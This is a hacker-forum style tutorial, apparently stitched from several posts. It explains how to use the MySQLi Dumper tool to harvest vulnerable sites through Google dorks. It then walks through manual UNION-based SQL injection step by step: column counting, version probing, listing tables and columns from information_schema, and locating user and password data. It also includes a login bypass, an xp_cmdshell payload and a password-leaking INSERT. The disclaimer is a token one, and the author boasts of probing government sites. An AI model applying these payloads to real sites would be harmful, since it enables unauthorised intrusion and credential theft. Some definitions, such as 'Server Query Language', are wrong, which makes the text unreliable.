MySQLi Dumper

Table of contents:
1.Introduction
2.Getting the program
3.Running the Scan
4.Finding the vulnerabilities
5.Understanding the program
6.Exploitation
7.Getting the Tables
8.Leaving your message
Disclaimer:
We by no means encourage or take responsibility of the tutorial of this program. Blah blah blah...don't do anything stupid guys.
Introduction:
Welcome to my second article, in this article basically we will be looking at the program: MySQLi Dumper, which is a SQL vulnerability Scanner, that deals with the dumping of data through SQL injection. Now it has only been recently that i have discovered the uses of having a SQL scanner, and i have still not yet mastered it or configured it to a wider range of exploits. However, i had to spread the word.
Basically the role of a scanner is to use search engine's results (Google/Yahoo) to find pages that have queries that may be vulnerable. In this article, my goal is to basically run you through how to use MySQLi and also run through a bit of the theory behind the exploit/attack.
Getting the Program:
Before we begin scanning any sites, we must first all have our own copies of the program. To get the program, all we have to do is download it from this site: Click Me
Once u have it downloaded, extract the files and save it to a safe and secure folder and open the program.
Running the Scan:
Okay, well now you should have to program open and on the page you should see essentially a blank page, which at the top has a set of tabs:
- Scanner
- Num.Blind
- Dump MySQL
- ETC
Logically, if we are to have any chance of finding an exploit, we must first have our archive of possible, vulnerable sites. Hence, we come to the scanner tab.
This tab basically allows us to put in which criteria we want to scan for, and from what search engine we are going to do it from.
So for this example we are going to be searching for pages with SQL based queries. This is going to be our first search type:
Click Me
Here we have the following criteria:
- URL has ".php?newsid="
- From Google
- Timeout of 5 seconds (increase this if your internet is slow and vice versa)
- Results of 100pages
Once, we have our settings dialed right, we have to click "Start Scann SQLi" and away we go.
/* on a side note, you can change these values for different sites *\
Finding the Vulnerabilities:
Now comes the beauty of this program, the ability to inject chosen SQL into the archive to find a vulnerability.
- To get there click on the Vuln.SQLi tab
- Configure your settings to that of your internet standards.
- Also there is now a SQL injection drop down box, you can configure that to determine which SQL injection you want to produce the errors.
Now all you do is click Start Scan .
Understanding the program:
Now with all programs like these, it is essentially very easy to know the process of running the application, without actually knowing the theory of how the program is working.
When scanning for vulnerable sites, the program injects code into the database that will output an error.
A very common (and default) way of returning an error is to input something that is essentially incorrect.
A MYSQL page for example uses SQL queries to search a given database for given results. Now if we were to input an error after this, the database would return an error, and if the page is vulnerable, will also return that error.
In the SQL injection part of the Vuln.SQLi tab, we will find the default SQL injection as being:
CODE :
+ and+0 =1+ union+ select+
What this does is input corrupt data into the database and hope for a result.
CODE :
An example: www.vulnsite.com/index.php?id=0
Now this site has a PHP query for the variable id.
If we were to inject arbitrary code after it, we could possibly output and error and we would know we may exploit it.
So for hypothetical sake, we input the following:
CODE :
www.vulnsite.come/index.php?i d=0+ AND+0 =1+ UNION+ SELECT+
And the page outputs an error, we know we have a probable:
CODE :
mysql_num_rows() line 255
Exploitation:
Alright, now at this point, we should have a list of vulnerable sites, and we now need to see if they are exploitable.
So, once we have these pages we copy and paste our first page, and we go to the "Num.Blind Tab".
Now we should have pasted the page into the main form and click GET.
Page should look like this:
Click Me
Now part of this exploitation is searching through errors to see when they disappear or when the error no longer applies. So the program will guide us through this process with the GET PAGE button.
OK to get started I'll make easy I'll do it in steps:
- Put page into the top bar and click GET PAGE
- The page should come up with an error of some sort on the screen, make note of it and click GET PAGE again.
- Keep clicking GET PAGE until the error disappears....WE have our point of exploitation
- Now since the code is now true we must change:
CODE :
id=1 to id=-1
- Once it's edited click 'GET PAGE MANUALLY'
- If you have done everything right, the errors should disappear and we should get an output... An example is here... Click Me
Making the attack:
Now we have found an insecure site, we need to go to the DUMP MYSQL tab, and paste in the top form.
Once it is pasted, you must remember the output for which the database echoed...In my example it was '3', however this will change.

MYSQL TUTORIAL PART 2

Sub-section 2 :
Find the number of columns
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.
That is, we make our URL query as:
www.site.com/article.php?id=5 order by 1/*
//this didn't give error.
Now, I do increase it to 2.
www.site.com/article.php?id=5 order by 2/*
//still no error
So, we need to increase until we get the error.
In my example, I got error when I put the value 3 i.e.
www.site.com/article.php?id=5 order by 3/*
//this gave me error.
So, it means there are 2 columns in the current table (3- 1 =2). This is how we find the number of columns.
Sub-section 3 :
Addressing Vulnerable Part:
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.
First lets craft the union statement which won't error.. This becomes like this:
www.site.com/article.php?id=5 UNION ALL SELECT null/*
This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..
So for our injection, it becomes:
www.site.com/article.php?id=5 UNION ALL SELECT null,null/*
For this we do:
www.site.com/article.php?id=5 UNION ALL SELECT 1 ,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:
www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*
or
www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*
If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..
CTD...

Sub-section 4 :
Finding MySQL version:
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:
www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
or
www.site.com/article.php?id=5 UNION ALL SELECT version (),2/*
So, this would return the version of MySQL running on the server.
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:
www.site.com/article.php?id=UN ION ALL SELECT unhex(hex (@@version)),2/*
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.
@@version will give u the version. It may be either 4 (or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.
Quick note: Also, you may check for user, database,etc.. by using following:
www.site.com/article.php?id=5 UNION ALL SELECT user (),2/*
http://www.site.com/article.ph p?id=5 UNION ALL SELECT database(),2/*
Sub-section 5 :
MySQL 5 or above injection:
Here, I m gonna show u how to access data in the server running MySQL 5 or above.
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.
For getting table list, we use: table_name from information_schema.tables
For getting column list, we use: column_name from information_schema.columns
So our query for getting the table list in our example would be:
www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
www.site.com/article.php?id=5 UNION ALL SELECT unhex (hex(table_name)),2 FROM information_schema.tables/*
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.
Similarly, to get the column list, we would make our query as:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. Succeed in above and then comment here to get more info

What is SQL Injection ?

SQL injection is the most common and videly used exploit by hackers all over the world...few days back i was just doing some SQL injection test on Indian govt sites, I was shocked to see how many imp govt sites r open to it....this is a big thread for us...a malicious hacker can do a lot of harm if he wish to.
Vocabulary:
* SQL: Server Query Language- used in web applications to interact with databases.
* SQL Injection : Method of exploiting a web application by supplying user input designed to manipulate SQL database queries.
* "Injection": You enter the injections into an html form which is sent to the web application. The application then puts you input directly into a SQL query. In advertantly, this allows you to manipulate to query...
Prerequisite:
* A background of programming and a general idea of how most hacking methods are done.


Application:
* Hacking a SQL database- driven server (usually only the ones that use unparsed user input in database queries). There is still a surprising number of data-driven web applications on the net that are vulnerable to this type of exploit. Being as typical as all method, the frequency of possible targets decreases over time as the method becomes more known. This is one those exploits that aren't easily prevented by a simple patch but by a competent programmer.
Use:
First, let's look at a typical SQL query:
SELECT fieldName1 , fieldName2 FROM databaseName WHERE restrictionsToFilterWhichEntri esToReturn
Now, to dissect...
The red areas is where criterion is inputed. The rest of the query structures the query.
* SELECT fieldName1 , fieldName2 - Specifies the of the names of fields that will be returned from the database.
* FROM databaseName - Specifies the name of the database to search.
* WHERE restrictionsToFilterWhichEntri esToReturn - Specifies which entries to return.
Here is an example for somebody's login script:
SELECT userAcessFlags FROM userDatabase WHERE userName="(input here)" AND userPass="(input here)"
The idea is guess what that application's query looks like and input things designed to return data other than what was intended.
In the example, input like the following could give gain access to the administrator account:
User: administrator
Pass: " OR ""="
Making the query like this:
SELECT userAcessFlags FROM userDatabase WHERE userName="administrator" AND userPass="" OR ""=""
As you can see, ""="" (nothing does indeed match nothing)
Note: Injections are rarely as simple as this...
One can be creative and use error messages to your advantadge to access other databases, fields, and entries. Learn a little SQL to use things like UNION to merges query results with ones not intended.On the security side, parse user data and get rid of any extra symbols now that you know how it's done.
The idea in this example is to break out of the quotation marks.
When stuff is inside quotation marks, the stuff isn't processed as code or anything but as a phrase and what it is.
The password injection was: " OR ""="
What this does is close the string that was started by the quotation mark in the part userPass=". Once you break out, THEN stuff is considered code. So, I put OR ""=" after I break out of the string. You will notice that it is comparing two quotation marks with one, but the quotation mark already built in by the application finishes it so we have this:
userPass="" OR ""=""
Notice how the first and last quotation marks are not colored and are not built in.
Additional notes:
This was just an extremely simplified version and you will probably need to learn a little SQL to fully understand.
Here are a few SQL terms that do other things:
UNION: You use this to merge the results of one query with another. You may put things like SELECT after UNION in order to search other databases and stuff. Sometimes you may need to use ALL in conjuction to break out of certain clauses. It does no harm so when in doubt you could do something like:
" UNION ALL SELECT 0,'','hash' FROM otherDatabase WHERE userName="admin
The key when using UNION is to make your new query return the same amount of columns in the same datatype so that you may get the results you want.
:-- This works sometimes to terminate the query so that it ignores to the rest of the stuff that might be fed afterwards if you don't like it. For example:
SELECT * FROM userDatabase WHERE userName="admin";--" AND userPass="aH0 qcQOVz7 e0s"
NOT IN: If you have no idea which record you want you could record cycle (you request vague info, and you put what you already got in the NOT IN clause so that you can get the next entry)
Usage:
SELECT userName userPass FROM userDatabase WHERE userName NOT IN ('Dehstil','Twistedchaos')
EXEC: This command should never work, but if it does...you win; you could do anything. For instance, you could inject something like this:
';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:
All my examples so far have dealt with read processes. To manipulate a write process, here is an example for those who know what their doing:
INSERT INTO userProfile VALUES(''+ (SELECT userPass FROM userDatabase WHERE userName='admin')+ '' + 'Chicago' + 'male')
This example would theoretically put the admin's password in your profile.